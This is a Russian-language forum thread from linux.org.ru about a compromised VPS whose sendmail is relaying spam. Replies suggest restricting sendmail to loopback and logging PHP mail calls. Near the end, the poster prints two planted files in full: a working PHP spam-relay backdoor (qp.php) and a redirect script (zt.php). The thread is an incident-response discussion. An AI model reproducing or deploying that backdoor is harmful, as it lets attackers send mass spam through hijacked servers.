LINUX.ORG.RU
ФорумAdmin

Запретить sendmail пересылку писем приходящих извне

 , , ,


1

1

Доброй ночи,

Ребят, подскажите пожалуйста, каким образом можно заставить sendmail обрабатывать только те письма, которые идут с сайтов расположенных на локалхосте. Со вчерашнего дня беда - куча европейцев пишут мне жалобы на то, что им сыпет спам с nginx@мойдомен.ru

Хотелось бы какого-нибудь простого варианта.. можно через iptables если это возможно.

Нашел похожий топик на форуме, но решения предложенные ТСу крайне сложны и совершенно непонятны.

Заранее спасибо.

Найми специалиста или прекрати заниматься тем, в чём не разбираешься

anonymous
()
Ответ на: комментарий от anonymous

А я изучаю. Sendmail очень сложная неповоротливая хрень, но для текущих нужд хватает 100 процентов, поэтому приходится иметь дело имеено с ним, хоть и разобраться в нем практически невозможно. А так, в целом, анонимные троли Лора могут идти в secret «самоутверждаться» где вам и место социопаты)

Abramovich
() автор топика
Ответ на: комментарий от mutronix

Да у него, судя по всему, опенрелея нет, а вебсервер поломали.

Проверь в файле /etc/mail/sendmail.mc

dnl # The following causes sendmail to only listen on the IPv4 loopback address
dnl # 127.0.0.1 and not on any other network devices. Remove the loopback
dnl # address restriction to accept email from the internet or intranet.
dnl #
DAEMON_OPTIONS(`Port=smtp,Addr=127.0.0.1, Name=MTA')dnl
Если так, то сендмайл только от локалхоста и может релеить письма.

anto215 ★★
()
Ответ на: комментарий от anto215

Видимо беда в большем масштабе, нежели чем я думал..

s55C3UKO023252: to=lena.pedersen@gu.se, ctladdr=nginx (498/499), delay=00:00:00, xdelay=00:00:00, mailer=relay, pri=30543, relay=[127.0.0.1More Information] [127.0.0.1More Information], dsn=2.0.0, stat=Sent (s55C3U93023253 Message accepted for delivery) 

По всей видимости рассылка идет через один из сайтов расположеных на моей vps-ке :(

Пока что ума не приложу как вычислить конкретно через какой из сайтов течет.. Есть мысль, что это можно сделать путем включения логирования 25 порта в iptables. Сижу курю как это сделать.

Если правильно понимаю, учитывая что рассылка идет с локалхоста, то перекрыть течь нет никаких вариантов кроме как запретить sendmail для всех сайтов?

Abramovich
() автор топика
Ответ на: комментарий от Abramovich

Если сайты на пыхе и пыха 5.3 или старше man mail.log

Ну или вот вариант логирования скриптов, отсылающих почту почту http://wiki.onsever.ru/freebsd/rassylaetsja_spam_s_servera_-_chem

kombrig ★★★
()
Последнее исправление: kombrig (всего исправлений: 1)
Ответ на: комментарий от kombrig

Сделал grep по всем сайтам, чтобы вычислить файлы созданные непосредственно вебсервером ну и собственно нашел два файла в корне одного из сайтов: qp.php

<?php 

if (isset($_POST['check'])) 
{
	echo md5($_POST['check'] . '5h4rt');
	exit();
}


if (isset($_POST['task']))
{

	error_reporting(E_ALL);
	ini_set('display_errors', TRUE);
	ini_set('memory_limit', '512M');
	set_time_limit(0);
	ini_set('max_execution_time',0);
	ini_set('set_time_limit',0);

	$x = unserialize(base64_decode($_POST['task']));
	if ($x==false) {exit();}

	$send_from = base64_encode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
	
	foreach ($x as $arr)
	{
		echo $arr['to']."\r\n";

		$arr['msg'] = str_replace('[send_from_url]',$send_from,$arr['msg']);
		
		mail($arr['to'],$arr['subj'],$arr['msg'],$arr['head']);
	}
	exit('SEND OK');
}

zt.php
<?php

header('Location: http://top.autoslitter.com/');

?>

Рассылка вроде прекратилась.. Однако, с печалью понимаю, что не знаю как установить след проникновения этих файлов.

Ну или вот вариант логирования скриптов, отсылающих почту почту http://wiki.onsever.ru/freebsd/rassylaetsja_spam_s_servera_-_chem

Вот это очень интересная штука! Спасибо!!

Abramovich
() автор топика
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.